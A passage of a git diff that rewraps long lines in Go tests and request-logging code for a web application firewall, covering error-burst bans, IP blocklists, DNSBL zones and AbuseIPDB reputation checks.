TestErrorBurstBanNotesHistoryAndMetrics(t *testing.T) { expires := start.Add(time.Hour) if line.BanExpires != requestlog.FormatTime(expires) { - t.Errorf("log line has ban_expires %q, want an hour on", line.BanExpires) + t.Errorf( + "log line has ban_expires %q, want an hour on", + line.BanExpires, + ) } netblock := netip.MustParsePrefix(client + "/32") @@ -183,16 +195,30 @@ func TestErrorBurstBanNotesHistoryAndMetrics(t *testing.T) { wantOffences := ratelimit.Offences{Limit: 1, BlockedByBlockRule: 3} if offences := historyOf(t, server, client).Offences; offences != wantOffences { - t.Errorf("history counts the offences %+v, want %+v", offences, wantOffences) + t.Errorf( + "history counts the offences %+v, want %+v", + offences, + wantOffences, + ) } metrics := s.scrape() wantMetric(t, metrics, `sww_rate_limit_hits_total{instance="app",`+ `kind="refusals",window="minute"}`, 1) - wantMetric(t, metrics, `sww_offences_total{instance="app",kind="limit"}`, 1) + wantMetric( + t, + metrics, + `sww_offences_total{instance="app",kind="limit"}`, + 1, + ) wantMetric(t, metrics, `sww_offences_total{instance="app",kind="blocked_by_block_rule"}`, 3) - wantMetric(t, metrics, `sww_bans_made_total{cause="limit",instance="app"}`, 1) + wantMetric( + t, + metrics, + `sww_bans_made_total{cause="limit",instance="app"}`, + 1, + ) } func TestErrorBurstIsNotLoweredForAClientWithLowerLimits(t *testing.T) { @@ -217,8 +243,12 @@ func TestErrorBurstIsNotLoweredForAClientWithLowerLimits(t *testing.T) { blockRule.send(s, fromDE) got := server.Ledger.Bans(netip.MustParsePrefix(fromDE + "/32")) - if len(got) != 1 || got[0].Notes.Limit != 2 || got[0].Notes.LimitPercent != nil { - t.Errorf("bans %+v, want one for the limit of 2, without a limit percentage", got) + if len(got) != 1 || got[0].Notes.Limit != 2 || + got[0].Notes.LimitPercent != nil { + t.Errorf( + "bans %+v, want one for the limit of 2, without a limit percentage", + got, + ) } } @@ -230,9 +260,16 @@ func TestErrorBurstDoesNotCountTheAppsAnswers(t *testing.T) { "/private": http.StatusUnauthorized, "/forbidden": http.StatusForbidden, } - s, _, _, queue := startAppWithAlerts(t, func(w http.ResponseWriter, r *http.Request) { - w.WriteHeader(statuses[r.URL.Path]) - }, map[string]string{errorBurstThreshold: "1", rulesDir: writeRules(t, testRules)}) + s, _, _, queue := startAppWithAlerts( + t, + func(w http.ResponseWriter, r *http.Request) { + w.WriteHeader(statuses[r.URL.Path]) + }, + map[string]string{ + errorBurstThreshold: "1", + rulesDir: writeRules(t, testRules), + }, + ) for range 2 { for path, status := range statuses { @@ -247,7 +284,12 @@ func TestErrorBurstDoesNotCountTheAppsAnswers(t *testing.T) { } // No ban was made, nor its alert raised. - s.request(client, "/missing", http.StatusNotFound, requestlog.ActionForward) + s.request( + client, + "/missing", + http.StatusNotFound, + requestlog.ActionForward, + ) wantAlerts(t, queue) } @@ -279,8 +321,11 @@ func TestErrorBurstOffOrAtItsDefault(t *testing.T) { broken := line.LimitHit == requestlog.LimitHitMinuteRefusals if broken != tc.broken { - t.Errorf("the 31st refusal broke the error burst: %t, want %t", - broken, tc.broken) + t.Errorf( + "the 31st refusal broke the error burst: %t, want %t", + broken, + tc.broken, + ) } }) } @@ -300,7 +345,12 @@ func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) { // A client in SWW_ALLOW_NETS is not refused, and so not counted. for range 3 { - s.request(allowed, blockedPath, http.StatusOK, requestlog.ActionForward) + s.request( + allowed, + blockedPath, + http.StatusOK, + requestlog.ActionForward, + ) } // One the rate limits do not apply to is. @@ -308,7 +358,10 @@ func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) { line := blockRule.send(s, exempt) if line.LimitHit != requestlog.LimitHitMinuteRefusals { - t.Errorf("log line has limit_hit %q, want minute_refusals", line.LimitHit) + t.Errorf( + "log line has limit_hit %q, want minute_refusals", + line.LimitHit, + ) } s.get(exempt, http.StatusForbidden, requestlog.ActionTemporarilyBanned) @@ -317,7 +370,11 @@ func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) { func TestErrorBurstBanSetsTheRefusalsBackToZero(t *testing.T) { t.Parallel() - s, clk, _ := startForErrorBurst(t, "1", map[string]string{limitBanDuration: "1s"}) + s, clk, _ := startForErrorBurst( + t, + "1", + map[string]string{limitBanDuration: "1s"}, + ) blockRule.send(s, client) blockRule.send(s, client) @@ -365,15 +422,26 @@ func TestObserveModeLogsAndAlertsTheErrorBurst(t *testing.T) { // is the second of the client's, and would have banned it. s.request(client, blockedPath, http.StatusOK, requestlog.ActionForward) - line := s.request(client, blockedPath, http.StatusOK, requestlog.ActionForward) + line := s.request( + client, + blockedPath, + http.StatusOK, + requestlog.ActionForward, + ) wantWouldAction(t, line, requestlog.ActionBlockedByBlockRule) - if line.LimitHit != requestlog.LimitHitMinuteRefusals || line.BanExpires != "" { - t.Errorf("log line has limit_hit %q and ban_expires %q, want minute_refusals "+ - "and none", line.LimitHit, line.BanExpires) + if line.LimitHit != requestlog.LimitHitMinuteRefusals || + line.BanExpires != "" { + t.Errorf( + "log line has limit_hit %q and ban_expires %q, want minute_refusals "+ + "and none", + line.LimitHit, + line.BanExpires, + ) } - if got := server.Ledger.Snapshot(); len(got) != 1 || !reflect.DeepEqual(got[0], held) { + if got := server.Ledger.Snapshot(); len(got) != 1 || + !reflect.DeepEqual(got[0], held) { t.Errorf("bans %+v, want only the one held", got) } @@ -385,12 +453,16 @@ func TestObserveModeLogsAndAlertsTheErrorBurst(t *testing.T) { notes, _ := waiting[0].Detail["notes"].(bans.Notes) if notes.Kind != ratelimit.KindRefusals || notes.Count != 2 || notes.Request.Status != http.StatusForbidden { - t.Errorf("the alert's notes are %+v, want two refusals, the last answered 403", - notes) + t.Errorf( + "the alert's notes are %+v, want two refusals, the last answered 403", + notes, + ) } alert := banAlert(alerts.EventBan, start, client, bans.Ban{ - Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit, + Netblock: netip.MustParsePrefix( + client + "/32", + ), Cause: bans.CauseLimit, Reason: "refusals per minute over the limit of 1", Notes: notes, }, requestlog.FormatTime(start.Add(time.Hour))) alert.Detail["mode"] = observe diff --git a/internal/waf/reputation_test.go b/internal/waf/reputation_test.go index 860e335..c45c5bd 100644 --- a/internal/waf/reputation_test.go +++ b/internal/waf/reputation_test.go @@ -46,7 +46,9 @@ const ( asnURL = "https://lists.example/asn.txt" ) -func TestEachBlocklistActionForAListedAddressAndAListedNetblock(t *testing.T) { +func TestEachBlocklistActionForAListedAddressAndAListedNetblock( + t *testing.T, +) { t.Parallel() forward, denied := requestlog.ActionForward, requestlog.ActionClientDenied @@ -90,14 +92,23 @@ func TestEachBlocklistActionForAListedAddressAndAListedNetblock(t *testing.T) { for i := range 3 { line := s.get(from, tc.statuses[i], tc.actions[i]) wantReputation(t, line, dropURL) - wantPercent(t, "rate_limit_percent", line.RateLimitPercent, - line.RateLimitPercentSetting, tc.percent) + wantPercent( + t, + "rate_limit_percent", + line.RateLimitPercent, + line.RateLimitPercentSetting, + tc.percent, + ) // A request refused for the list is not counted. counted := line.fields["counts"] != nil if counted != (tc.actions[i] != denied) { - t.Errorf("request from %s counted %t, logged %s", from, counted, - tc.actions[i]) + t.Errorf( + "request from %s counted %t, logged %s", + from, + counted, + tc.actions[i], + ) } } } @@ -112,14 +123,17 @@ func TestEachBlocklistActionForAListedAddressAndAListedNetblock(t *testing.T) { } // A refusal for the list makes no ban. - if held := server.Ledger.Snapshot(); tc.action == actionDeny && len(held) != 0 { + if held := server.Ledger.Snapshot(); tc.action == actionDeny && + len(held) != 0 { t.Errorf("bans %+v, want none", held) } }) } } -func TestReputationRefusalNamesItsHeuristicAndWhatListedTheClient(t *testing.T) { +func TestReputationRefusalNamesItsHeuristicAndWhatListedTheClient( + t *testing.T, +) { t.Parallel() for _, tc := range []struct { @@ -163,7 +177,11 @@ func TestReputationRefusalNamesItsHeuristicAndWhatListedTheClient(t *testing.T) s, server, _ := startWithLookups(t, tc.env) tc.load(t, server) - line := s.get(client, http.StatusForbidden, requestlog.ActionClientDenied) + line := s.get( + client, + http.StatusForbidden, + requestlog.ActionClientDenied, + ) wantHeuristic(t, line, tc.heuristic, tc.figures) }) } @@ -180,12 +198,17 @@ func TestBlocklistsComeAfterAllowedCountriesAndSkipAllowNets(t *testing.T) { // fromKP's country refuses it before the list is looked at, and fromDE, // in SWW_ALLOW_NETS, is not checked at all: neither is noted, nor // alerted. - wantReputation(t, s.get(fromKP, http.StatusForbidden, requestlog.ActionCountryDenied)) + wantReputation( + t, + s.get(fromKP, http.StatusForbidden, requestlog.ActionCountryDenied), + ) wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward)) wantAlerts(t, queue) } -func TestObserveModeForwardsAClientABlocklistDeniesAndAlertsIt(t *testing.T) { +func TestObserveModeForwardsAClientABlocklistDeniesAndAlertsIt( + t *testing.T, +) { t.Parallel() s, server, queue := startWithLookups(t, map[string]string{ @@ -203,7 +226,9 @@ func TestObserveModeForwardsAClientABlocklistDeniesAndAlertsIt(t *testing.T) { } } -func TestBlocklistLimitTakesPartInTheLowestPercentageOfEveryLimit(t *testing.T) { +func TestBlocklistLimitTakesPartInTheLowestPercentageOfEveryLimit( + t *testing.T, +) { t.Parallel() for _, tc := range []struct { @@ -238,13 +263,19 @@ func TestBlocklistLimitTakesPartInTheLowestPercentageOfEveryLimit(t *testing.T) tc.want) if line.LimitHit != tc.limitHit { - t.Errorf("log line has limit_hit %q, want %q", line.LimitHit, tc.limitHit) + t.Errorf( + "log line has limit_hit %q, want %q", + line.LimitHit, + tc.limitHit, + ) } }) } } -func TestASNLimitPercentFileCountsAsTheSettingDoesTheLowerWinning(t *testing.T) { +func TestASNLimitPercentFileCountsAsTheSettingDoesTheLowerWinning( + t *testing.T, +) { t.Parallel() const ( @@ -288,7 +319,11 @@ func TestASNLimitPercentFileCountsAsTheSettingDoesTheLowerWinning(t *testing.T) maps.Copy(env, tc.env) s, server, _ := startWithLookups(t, env) - loadLists(t, server, map[string][]string{asnURL: {"# by AS number", tc.file}}) + loadLists( + t, + server, + map[string][]string{asnURL: {"# by AS number", tc.file}}, + ) line := s.uploadFrom(fromDE) wantPercent(t, "rate_limit_percent", @@ -313,13 +348,21 @@ func TestEachBlocklistThatListsAClientRaisesAnAlertOncePerCooldownAndIsCounted( blocklistAction: actionLog, metricsToken: token, }) - loadLists(t, server, map[string][]string{dropURL: {fromDE}, torURL: {fromDE}}) + loadLists( + t, + server, + map[string][]string{dropURL: {fromDE}, torURL: {fromDE}}, + ) // The second request's alerts are repeats, which the cooldown holds // back. for range 2 { - wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward), - dropURL, torURL) + wantReputation( + t, + s.get(fromDE, http.StatusOK, requestlog.ActionForward), + dropURL, + torURL, + ) } hit := func(source string) alerts.Alert { @@ -340,7 +383,10 @@ func TestEachBlocklistThatListsAClientRaisesAnAlertOncePerCooldownAndIsCounted( wantAlerts(t, queue, hit(dropURL), hit(torURL)) if queue.Suppressed() != 2 { - t.Errorf("%d alerts held back, want the second request's 2", queue.Suppressed()) + t.Errorf( + "%d alerts held back, want the second request's 2", + queue.Suppressed(), + ) } // Each list's hits, none of its fetches failed, and when its copy was @@ -360,8 +406,12 @@ func TestEachBlocklistThatListsAClientRaisesAnAlertOncePerCooldownAndIsCounted( } wantMetric(t, metrics, "sww_reputation_failures_total"+labels, 0) - wantMetric(t, metrics, "sww_reputation_last_fetch_timestamp_seconds"+labels, - want.fetched) + wantMetric( + t, + metrics, + "sww_reputation_last_fetch_timestamp_seconds"+labels, + want.fetched, + ) } } @@ -418,7 +468,8 @@ func TestEachReputationActionForAClientADNSBLZoneLists(t *testing.T) { dnsblResolver: noResolver, reputationAction: tc.action, }) listedBy := map[string][]string{ - fromDE: {dnsblZone, otherZone}, fromKP: {otherZone}, unplaced: nil, + fromDE: {dnsblZone, otherZone}, fromKP: {otherZone}, + unplaced: nil, } loadVerdicts(server, listedBy) @@ -427,14 +478,19 @@ func TestEachReputationActionForAClientADNSBLZoneLists(t *testing.T) { line := s.get(from, tc.statuses[i], tc.actions[i]) // In the order SWW_DNSBL_ZONES names them. wantReputation(t, line, listedBy[from]...) - wantPercent(t, "rate_limit_percent", line.RateLimitPercent, - line.RateLimitPercentSetting, tc.percent) + wantPercent(t, "rate_limit_percent", + line.RateLimitPercent, line.RateLimitPercentSetting, + tc.percent) // A request refused for the verdict is not counted. counted := line.fields["counts"] != nil if counted != (tc.actions[i] != denied) { - t.Errorf("request from %s counted %t, logged %s", from, counted, - tc.actions[i]) + t.Errorf( + "request from %s counted %t, logged %s", + from, + counted, + tc.actions[i], + ) } } } @@ -450,7 +506,8 @@ func TestEachReputationActionForAClientADNSBLZoneLists(t *testing.T) { // A refusal for the verdict makes no ban, and every client had its // verdicts, so no zone was asked. - if held := server.Ledger.Snapshot(); tc.action == actionDeny && len(held) != 0 { + if held := server.Ledger.Snapshot(); tc.action == actionDeny && + len(held) != 0 { t.Errorf("bans %+v, want none", held) } @@ -469,18 +526,27 @@ func TestDNSBLZonesComeAfterTheBlocklistsAndSkipAllowNets(t *testing.T) { reputationAction: actionDeny, allowNets: fromDE, }) loadLists(t, server, map[string][]string{dropURL: {fromKP}}) - loadVerdicts(server, map[string][]string{fromKP: {dnsblZone}, fromDE: {dnsblZone}}) + loadVerdicts( + server, + map[string][]string{fromKP: {dnsblZone}, fromDE: {dnsblZone}}, + ) // The blocklist refuses fromKP before its verdict is looked at, and // fromDE, in SWW_ALLOW_NETS, is not checked at all: neither is noted // for the zone, nor alerted, nor asked about. - wantReputation(t, s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied), - dropURL) + wantReputation( + t, + s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied), + dropURL, + ) wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward)) waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] if len(waiting) != 1 || waiting[0].Detail["source"] != dropURL { - t.Errorf("alerts waiting %+v, want the blocklist's reputation_hit alone", waiting) + t.Errorf( + "alerts waiting %+v, want the blocklist's reputation_hit alone", + waiting, + ) } if queries := server.DNSBL.Queries(dnsblZone); queries != 0 { @@ -522,13 +588,17 @@ func TestReputationSourcesTagTheRequestWhateverTheirAction(t *testing.T) { s, server, _ := startWithLookups(t, tc.env) tc.load(server) - wantTags(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward), + wantTags( + t, + s.get(fromDE, http.StatusOK, requestlog.ActionForward), tc.want...) }) } } -func TestObserveModeForwardsAClientADNSBLZoneDeniesAndAlertsIt(t *testing.T) { +func TestObserveModeForwardsAClientADNSBLZoneDeniesAndAlertsIt( + t *testing.T, +) { t.Parallel() s, server, queue := startWithLookups(t, map[string]string{ @@ -547,7 +617,9 @@ func TestObserveModeForwardsAClientADNSBLZoneDeniesAndAlertsIt(t *testing.T) { } } -func TestReputationLimitTakesPartInTheLowestPercentageOfEveryLimit(t *testing.T) { +func TestReputationLimitTakesPartInTheLowestPercentageOfEveryLimit( + t *testing.T, +) { t.Parallel() for _, tc := range []struct { @@ -563,27 +635,37 @@ func TestReputationLimitTakesPartInTheLowestPercentageOfEveryLimit(t *testing.T) {actionLog, limitQuarter, "25 from " + reputationAction}, {actionLog, actionLog, none}, } { - t.Run(tc.blocklistAction+" "+tc.reputationAction, func(t *testing.T) { - t.Parallel() + t.Run( + tc.blocklistAction+" "+tc.reputationAction, + func(t *testing.T) { + t.Parallel() - s, server, _ := startWithLookups(t, map[string]string{ - blocklistURLs: dropURL, blocklistAction: tc.blocklistAction, - dnsblZones: dnsblZone, dnsblResolver: noResolver, - reputationAction: tc.reputationAction, - }) - loadLists(t, server, map[string][]string{dropURL: {fromDE}}) - loadVerdicts(server, map[string][]string{fromDE: {dnsblZone}}) + s, server, _ := startWithLookups(t, map[string]string{ + blocklistURLs: dropURL, blocklistAction: tc.blocklistAction, + dnsblZones: dnsblZone, dnsblResolver: noResolver, + reputationAction: tc.reputationAction, + }) + loadLists(t, server, map[string][]string{dropURL: {fromDE}}) + loadVerdicts( + server, + map[string][]string{fromDE: {dnsblZone}}, + ) - // Named by the blocklist, then by the zone. - line := s.get(fromDE, http.StatusOK, requestlog.ActionForward) - wantReputation(t, line, dropURL, dnsblZone) - wantPercent(t, "rate_limit_percent", - line.RateLimitPercent, line.RateLimitPercentSetting, - tc.want) - wantPercent(t, "bytes_limit_percent", - line.BytesLimitPercent, line.BytesLimitPercentSetting, - tc.want) - }) + // Named by the blocklist, then by the zone. + line := s.get( + fromDE, + http.StatusOK, + requestlog.ActionForward, + ) + wantReputation(t, line, dropURL, dnsblZone) + wantPercent(t, "rate_limit_percent", + line.RateLimitPercent, line.RateLimitPercentSetting, + tc.want) + wantPercent(t, "bytes_limit_percent", + line.BytesLimitPercent, line.BytesLimitPercentSetting, + tc.want) + }, + ) } } @@ -603,8 +685,12 @@ func TestEachZoneThatListsAClientRaisesAnAlertOncePerCooldownAndIsCounted( // The second request's alerts are repeats, which the cooldown holds // back. for range 2 { - wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward), - dnsblZone, otherZone) + wantReputation( + t, + s.get(fromDE, http.StatusOK, requestlog.ActionForward), + dnsblZone, + otherZone, + ) } hit := func(zone string) alerts.Alert { @@ -625,7 +711,10 @@ func TestEachZoneThatListsAClientRaisesAnAlertOncePerCooldownAndIsCounted( wantAlerts(t, queue, hit(dnsblZone), hit(otherZone)) if queue.Suppressed() != 2 { - t.Errorf("%d alerts held back, want the second request's 2", queue.Suppressed()) + t.Errorf( + "%d alerts held back, want the second request's 2", + queue.Suppressed(), + ) } // Each zone's hits, and its queries and their failures, none, since @@ -656,12 +745,19 @@ func TestZoneKeyIsMaskedInTheLogTheAlertAndTheMetrics(t *testing.T) { }) loadVerdicts(server, map[string][]string{fromDE: {keyed}, unplaced: nil}) - wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward), masked) + wantReputation( + t, + s.get(fromDE, http.StatusOK, requestlog.ActionForward), + masked, + ) waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] if len(waiting) != 1 || waiting[0].Detail["source"] != masked { - t.Errorf("alerts waiting %+v, want a reputation_hit alert from %s", waiting, - masked) + t.Errorf( + "alerts waiting %+v, want a reputation_hit alert from %s", + waiting, + masked, + ) } metrics := s.scrape() @@ -677,7 +773,9 @@ func TestZoneKeyIsMaskedInTheLogTheAlertAndTheMetrics(t *testing.T) { } } -func TestRequestFromAClientWithoutAVerdictHasTheZoneAskedAboutIt(t *testing.T) { +func TestRequestFromAClientWithoutAVerdictHasTheZoneAskedAboutIt( + t *testing.T, +) { t.Parallel() s, server, _ := startWithLookups(t, map[string]string{ @@ -693,7 +791,11 @@ func TestRequestFromAClientWithoutAVerdictHasTheZoneAskedAboutIt(t *testing.T) { // request finds the query under way, or the zone left alone after it // failed, since nothing answers at noResolver. for range 2 { - wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward), otherZone) + wantReputation( + t, + s.get(fromDE, http.StatusOK, requestlog.ActionForward), + otherZone, + ) } if queries := server.DNSBL.Queries(dnsblZone); queries != 1 { @@ -725,17 +827,23 @@ const abuseIPDBURL = "abuseipdb://stand-in/api/v2/check" type abuseIPDBStandIn struct{} // RoundTrip answers req with the score 100. -func (abuseIPDBStandIn) RoundTrip(req *http.Request) (*http.Response, error) { +func (abuseIPDBStandIn) RoundTrip( + req *http.Request, +) (*http.Response, error) { return &http.Response{ StatusCode: http.StatusOK, Status: "200 OK", Header: http.Header{}, - Body: io.NopCloser(strings.NewReader(`{"data":{"abuseConfidenceScore":100}}`)), - Request: req, + Body: io.NopCloser( + strings.NewReader(`{"data":{"abuseConfidenceScore":100}}`), + ), + Request: req, }, nil } -func TestOnlyAClientThatHasCommittedAnOffenceIsCheckedWithAbuseIPDB(t *testing.T) { +func TestOnlyAClientThatHasCommittedAnOffenceIsCheckedWithAbuseIPDB( + t *testing.T, +) { t.Parallel() forward := requestlog.ActionForward @@ -766,7 +874,9 @@ func TestOnlyAClientThatHasCommittedAnOffenceIsCheckedWithAbuseIPDB(t *testing.T wantAbuseIPDBChecks(t, server, 1) } -func TestIPv6ClientCostsOneAbuseIPDBCheckWhicheverOfItsAddressesSends(t *testing.T) { +func TestIPv6ClientCostsOneAbuseIPDBCheckWhicheverOfItsAddressesSends( + t *testing.T, +) { t.Parallel() forward := requestlog.ActionForward @@ -775,7 +885,10 @@ func TestIPv6ClientCostsOneAbuseIPDBCheckWhicheverOfItsAddressesSends(t *testing // of its own. var addresses []string for i := 1; i < 16; i++ { - addresses = append(addresses, fmt.Sprintf("2001:db8:1:2:%x::9", i<<12)) + addresses = append( + addresses, + fmt.Sprintf("2001:db8:1:2:%x::9", i<<12), + ) } s, clk, server := startWithClock(t, "", map[string]string{ @@ -789,7 +902,11 @@ func TestIPv6ClientCostsOneAbuseIPDBCheckWhicheverOfItsAddressesSends(t *testing s.get(addresses[0], http.StatusOK, forward) } - s.get(addresses[0], http.StatusForbidden, requestlog.ActionClientIsRateLimited) + s.get( + addresses[0], + http.StatusForbidden, + requestlog.ActionClientIsRateLimited, + ) clk.advance(time.Hour) // Once the ban has ended, which set its counters back to zero, a @@ -808,7 +925,9 @@ const ( blockedPath = "/blocked" ) -func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(t *testing.T) { +func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest( + t *testing.T, +) { t.Parallel() for _, tc := range []struct { @@ -851,7 +970,11 @@ func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(t *test wantAbuseIPDBChecks(t, server, 0) if got := historyOf(t, server, client).Offences; got != tc.want { - t.Errorf("history counts the offences %+v, want %+v", got, tc.want) + t.Errorf( + "history counts the offences %+v, want %+v", + got, + tc.want, + ) } // Its next request, once any ban for a clear sign of attack @@ -863,7 +986,9 @@ func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(t *test } } -func TestEachReputationActionForAClientAbuseIPDBScoresAtOrOverTheMinimum(t *testing.T) { +func TestEachReputationActionForAClientAbuseIPDBScoresAtOrOverTheMinimum( + t *testing.T, +) { t.Parallel() forward, denied := requestlog.ActionForward, requestlog.ActionClientDenied @@ -911,7 +1036,11 @@ func TestEachReputationActionForAClientAbuseIPDBScoresAtOrOverTheMinimum(t *test // A request refused for the score is not counted. counted := line.fields["counts"] != nil if counted != (tc.actions[i] != denied) { - t.Errorf("request counted %t, logged %s", counted, tc.actions[i]) + t.Errorf( + "request counted %t, logged %s", + counted, + tc.actions[i], + ) } } @@ -925,7 +1054,8 @@ func TestEachReputationActionForAClientAbuseIPDBScoresAtOrOverTheMinimum(t *test } // A refusal for the score makes no ban. - if held := server.Ledger.Snapshot(); tc.action == actionDeny && len(held) != 0 { + if held := server.Ledger.Snapshot(); tc.action == actionDeny && + len(held) != 0 { t.Errorf("bans %+v, want none", held) } }) @@ -944,8 +1074,11 @@ func TestAbuseIPDBHitRaisesAnAlertWithTheScoreOncePerCooldownAndIsCounted( // The second request's alert is a repeat, which the cooldown holds back. for range 2 { - wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward), - abuseipdb) + wantReputation( + t, + s.get(fromDE, http.StatusOK, requestlog.ActionForward), + abuseipdb, + ) } // The alert is made as a DNSBL zone's is, with the score besides. @@ -954,8 +1087,12 @@ func TestAbuseIPDBHitRaisesAnAlertWithTheScoreOncePerCooldownAndIsCounted( waiting[0].Reason != "scored by AbuseIPDB at or over SWW_ABUSEIPDB_MIN_SCORE" || waiting[0].Detail["source"] != abuseipdb || waiting[0].Detail["score"] != int64(90) || queue.Suppressed() != 1 { - t.Errorf("alerts waiting %+v, %d held back, want AbuseIPDB's reputation_hit "+ - "with the score 90, and 1", waiting, queue.Suppressed()) + t.Errorf( + "alerts waiting %+v, %d held back, want AbuseIPDB's reputation_hit "+ + "with the score 90, and 1", + waiting, + queue.Suppressed(), + ) } // The hits, and the checks, none, since no client committed an @@ -966,7 +1103,12 @@ func TestAbuseIPDBHitRaisesAnAlertWithTheScoreOncePerCooldownAndIsCounted( wantMetric(t, metrics, "sww_reputation_hits_total"+labels, 2) wantMetric(t, metrics, "sww_reputation_queries_total"+labels, 0) wantMetric(t, metrics, "sww_reputation_failures_total"+labels, 0) - wantMetric(t, metrics, "sww_reputation_daily_budget_remaining"+labels, 900) + wantMetric( + t, + metrics, + "sww_reputation_daily_budget_remaining"+labels, + 900, + ) } func TestWithoutAnAbuseIPDBKeyNoClientIsCheckedNorAScoreUsed(t *testing.T) { @@ -996,7 +1138,8 @@ func TestBanNotesNameEachReputationSourceThatListedTheClient(t *testing.T) { score := int64(90) listed := []bans.ReputationHit{ - {Source: dropURL}, {Source: dnsblZone}, {Source: abuseipdb, Score: &score}, + {Source: dropURL}, {Source: dnsblZone}, + {Source: abuseipdb, Score: &score}, } for _, tc := range []struct { @@ -1024,8 +1167,12 @@ func TestBanNotesNameEachReputationSourceThatListedTheClient(t *testing.T) { // Every source lists client, and none otherClient, whose score is // under SWW_ABUSEIPDB_MIN_SCORE, 75 by default. loadLists(t, server, map[string][]string{dropURL: {client}}) - loadVerdicts(server, map[string][]string{client: {dnsblZone}, otherClient: nil}) - loadScores(server, map[string]int64{client: score, otherClient: 74}) + loadVerdicts(server, map[string][]string{ + client: {dnsblZone}, otherClient: nil, + }) + loadScores(server, map[string]int64{ + client: score, otherClient: 74, + }) for _, banned := range []struct { from string @@ -1033,10 +1180,20 @@ func TestBanNotesNameEachReputationSourceThatListedTheClient(t *testing.T) { }{{client, listed}, {otherClient, nil}} { tc.ban(s, banned.from) - held := server.Ledger.Bans(netip.MustParsePrefix(banned.from + "/32")) - if len(held) != 1 || !reflect.DeepEqual(held[0].Notes.Reputation, banned.want) { - t.Errorf("bans of %s %+v, want one whose notes have the reputation %+v", - banned.from, held, banned.want) + held := server.Ledger.Bans( + netip.MustParsePrefix(banned.from + "/32"), + ) + if len(held) != 1 || + !reflect.DeepEqual( + held[0].Notes.Reputation, + banned.want, + ) { + t.Errorf( + "bans of %s %+v, want one whose notes have the reputation %+v", + banned.from, + held, + banned.want, + ) } } @@ -1050,9 +1207,13 @@ func TestBanNotesNameEachReputationSourceThatListedTheClient(t *testing.T) { } } - if want := [][]bans.ReputationHit{listed, nil}; !reflect.DeepEqual(alerted, want) { - t.Errorf("the ban alerts' notes have the reputation %+v, want %+v", - alerted, want) + want := [][]bans.ReputationHit{listed, nil} + if !reflect.DeepEqual(alerted, want) { + t.Errorf( + "the ban alerts' notes have the reputation %+v, want %+v", + alerted, + want, + ) } }) } @@ -1076,13 +1237,20 @@ func verdictsFetched() time.Time { // client from each zone listedBy gives for it, and one that does not from // each other zone. func loadVerdicts(server *waf.Server, listedBy map[string][]string) { - verdicts := make([]reputation.Verdict, 0, len(listedBy)*len(server.DNSBL.Zones())) + verdicts := make( + []reputation.Verdict, + 0, + len(listedBy)*len(server.DNSBL.Zones()), + ) for client, zones := range listedBy { for _, zone := range server.DNSBL.Zones() { verdicts = append(verdicts, reputation.Verdict{ Zone: zone, Client: netip.MustParseAddr(client), - Listed: slices.Contains(zones, zone), Fetched: verdictsFetched(), + Listed: slices.Contains( + zones, + zone, + ), Fetched: verdictsFetched(), }) } } @@ -1117,7 +1285,11 @@ func wantAbuseIPDBChecks(t *testing.T, server *waf.Server, want int) { // loadLists puts copies of lists into server's lists, by URL, each with // its lines, fetched at listsFetched, as lists.json would at start. -func loadLists(t *testing.T, server *waf.Server, copies map[string][]string) { +func loadLists( + t *testing.T, + server *waf.Server, + copies map[string][]string, +) { t.Helper() lists := make([]reputation.List, 0, len(copies)) @@ -1139,6 +1311,10 @@ func wantReputation(t *testing.T, line logLine, want ...string) { t.Helper() if !slices.Equal(line.Reputation, want) { - t.Errorf("log line has reputation %v, want %v", line.Reputation, want) + t.Errorf( + "log line has reputation %v, want %v", + line.Reputation, + want, + ) } } diff --git a/internal/waf/request.go b/internal/waf/request.go index a4508a4..916cddf 100644 --- a/internal/waf/request.go +++ b/internal/waf/request.go @@ -90,7 +90,10 @@ type request struct { // with what is known of the request. isQuestion says whether r is a question, // whose headers give the request's id and scheme. func (h *handler) startRequest( - w http.ResponseWriter, r *http.Request, client, peer netip.Addr, isQuestion bool, + w http.ResponseWriter, + r *http.Request, + client, peer netip.Addr, + isQuestion bool, ) *request { h.metrics.RequestStarted() @@ -102,23 +105,26 @@ func (h *handler) startRequest( client: client, requestURI: r.URL.RequestURI(), line: requestlog.Line{ - Time: requestlog.FormatTime(start), - Instance: h.config.InstanceName, - ClientIP: client.String(), - Method: r.Method, - Scheme: scheme(r, isQuestion), - Host: r.Host, - Path: rules.Path(r), - Query: r.URL.RawQuery, - Protocol: r.Proto, - Referer: r.Referer(), - UserAgent: r.UserAgent(), - RequestID: requestID(r, isQuestion), - PeerIP: peer.String(), - ForwardedFor: strings.Join(forwardedFor, ", "), - ClientGroup: h.clientGroup(client).String(), - ContentType: r.Header.Get("Content-Type"), - RequestHeaders: requestHeaders(r, h.config.LogRequestHeaders), + Time: requestlog.FormatTime(start), + Instance: h.config.InstanceName, + ClientIP: client.String(), + Method: r.Method, + Scheme: scheme(r, isQuestion), + Host: r.Host, + Path: rules.Path(r), + Query: r.URL.RawQuery, + Protocol: r.Proto, + Referer: r.Referer(), + UserAgent: r.UserAgent(), + RequestID: requestID(r, isQuestion), + PeerIP: peer.String(), + ForwardedFor: strings.Join(forwardedFor, ", "), + ClientGroup: h.clientGroup(client).String(), + ContentType: r.Header.Get("Content-Type"), + RequestHeaders: requestHeaders( + r, + h.config.LogRequestHeaders, + ), HasAuthorization: 